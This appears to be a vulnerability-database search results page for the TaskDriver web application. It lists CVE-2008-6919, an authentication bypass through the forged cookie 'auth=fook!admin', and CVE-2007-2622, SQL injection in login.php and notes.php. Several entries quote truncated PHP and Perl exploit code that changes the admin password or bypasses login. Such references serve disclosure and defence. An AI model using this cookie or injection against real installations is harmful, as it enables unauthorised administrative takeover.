16 matches found
EUVD-2007-2615
Malware in sbrugna...
TaskDriver <= 1.3 - Remote Change Admin Password Exploit
No description provided by source. ?php / $Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $ TaskDriver = 1.3 Remote Change Admin Password Exploit Bug found && Exploited by cOndemned Download: http://www.taskdriver.com/downtrack/index.php?down=2 Description: This exploit uses...
CVE-2008-6919
CVE-2008-6919 affects TaskDriver 1.3 and earlier. The vulnerability allows remote attackers to bypass authentication and gain administrative access by setting the auth cookie to the value "fook!admin." The available connected documents confirm the affected product/version and the auth-cookie-base...
CVE-2008-6919
profileedit.php TaskDriver 1.3 and earlier allows remote attackers to bypass authentication and gain administrative access by setting the auth cookie to "fook!admin."...
TaskDriver 1.3 Change Admin Password Exploit
\n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlinit; curlsetoptarray$xpl, array CURLOPTURL = "$target/profileedit.php", CURLOPTCOOKIE = "auth=fook!admin", CURLOPTRETURNTRANSFER = true, CURLOPTPOST = true, CURLOP...
TaskDriver 1.3 - Remote Change Admin Password
TaskDriver 1.3 - Remote Change Admin Password \n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlinit; curlsetoptarray$xpl, array CURLOPTURL = "$target/profileedit.php", CURLOPTCOOKIE = "auth=fook!admin", CURLOPTRETURNTRANSFER = true, CURLOPTPOST = t...
TaskDriver 1.3 - Remote Change Admin Password
\n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlinit; curlsetoptarray$xpl, array CURLOPTURL = "$target/profileedit.php", CURLOPTCOOKIE = "auth=fook!admin", CURLOPTRETURNTRANSFER = true, CURLO...
TaskDriver <= 1.3 Remote Change Admin Password Exploit
Exploit for unknown platform in category web applications ====================================================== TaskDriver \n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlin...
CVE-2007-2622
Multiple SQL injection vulnerabilities in TaskDriver 1.2 and earlier allow remote attackers to execute arbitrary SQL commands via 1 the username parameter to login.php or 2 the taskid parameter to notes.php...
Sql injection
Multiple SQL injection vulnerabilities in TaskDriver 1.2 and earlier allow remote attackers to execute arbitrary SQL commands via 1 the username parameter to login.php or 2 the taskid parameter to notes.php...
CVE-2007-2622
CVE-2007-2622: Multiple SQL injection vulnerabilities in TaskDriver 1.2 and earlier allow remote attackers to execute arbitrary SQL via (1) the username parameter to login.php or (2) the taskid parameter to notes.php. Affected: TaskDriver 1.2 and earlier. Impact per CVSS: partial confidentiality,...
CVE-2007-2622
Multiple SQL injection vulnerabilities in TaskDriver 1.2 and earlier allow remote attackers to execute arbitrary SQL commands via 1 the username parameter to login.php or 2 the taskid parameter to notes.php...
TaskDriver <= 1.2 Login Bypass/SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHERE username =...
TaskDriver 1.2 - Authentication Bypass SQL Injection
TaskDriver 1.2 - Authentication Bypass SQL Injection !/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHER...
TaskDriver <= 1.2 Login Bypass/SQL Injection Exploit
Exploit for unknown platform in category web applications ==================================================== TaskDriver = 1.2 Login Bypass/SQL Injection Exploit ==================================================== !/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered...
TaskDriver 1.2 - Authentication Bypass / SQL Injection
!/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHERE username = '$POSTusername' AND password =...